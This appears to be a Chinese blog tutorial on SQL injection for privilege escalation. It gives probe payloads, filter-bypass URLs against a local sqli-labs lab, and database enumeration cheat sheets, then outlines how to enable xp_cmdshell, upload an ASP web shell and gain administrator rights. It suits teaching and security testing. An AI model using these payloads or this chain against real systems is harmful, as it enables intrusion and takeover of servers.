SQL注入之权限提升

1.发现SQL注入位置

1)整型参数的判断

永假条件:?p=1 and 1=2

永真条件:?p=1 and 1=1

空条件:?p=1 or 1=1

2)字符型参数的判断

永假条件:?p=1' and '1'='2

永真条件:?p=1' and '1'='1

空条件:?p=1' or '1'='1

3)过滤特殊字符的判断

确认过滤了#    
http://localhost/sqli-labs/Less-26/?id=%231    
确认过滤了or    
http://localhost/sqli-labs/Less-26/?id=or1    
确认过滤多行注释符    
http://localhost/sqli-labs/Less-26/?id=/*1    
确认过滤了单行注释    
http://localhost/sqli-labs/Less-26/?id=--1   
确认过滤了斜杠    
http://localhost/sqli-labs/Less-26/?id=/1    
确认过滤了反斜杠    
http://localhost/sqli-labs/Less-26/?id=1\    
确认过滤了空格    
http://localhost/sqli-labs/Less-26/?id=1' ' '    

ascii编码:把输入 的字符用ascii码代替,如U=char(85)

2.判断后台数据库类型

MSSQL备忘单:

select @@version;  查看版本

select db_name(); 获取当前数据库

select user; 获取当前用户

select grantee,table_name,privilege_type from information_schema.table_privileges; 查看当前用户权限

MySQL备忘单:

select @@version; 查看版本

select database(); 查看当前数据库

select user(); 查看当前用户

select * from information_schema.user_privileges where grantee='xxxx'; 查看当前用户权限

select grantee,privilege_type,is_grantable from information_schema.user_privileges; 当前用户权限

Oracle备忘单:

select banner from v$version; 查看版本

select sys_context('userenv', 'db_name') from dual; 查看当前数据库

select user from dual; 查看当前用户

select privilege from session_privs; 查看当前用户的权限

2)利用系统表

access的系统表是msysobjects,在web环境下没有访问权限

SQL server的系统表是sysobjects,在web环境下有访问权限

MSSQL三个关键系统表:sysdatabases,sysobjects,syscolumns

3.确定xp_cmdshell可执行

4.发现web虚拟目录

1)根据经验猜解:

web虚拟目录:c:\inetpub\wwwroot;D:\inetpub\wwwroot;等

可执行虚拟目录:c:\inetpub\scripts; D:\inetpub\scripts;等

5.上传asp木马(一段有特殊功能的asp代码,放入web虚拟目录的scripts下,远程客户端可执行它,进而得到系统的user权限)

6.得到管理员权限(asp木马只有user权限,要想获取对系统的完全控制,还有有系统的管理员权限)


你可能感兴趣的:(SQL注入之权限提升)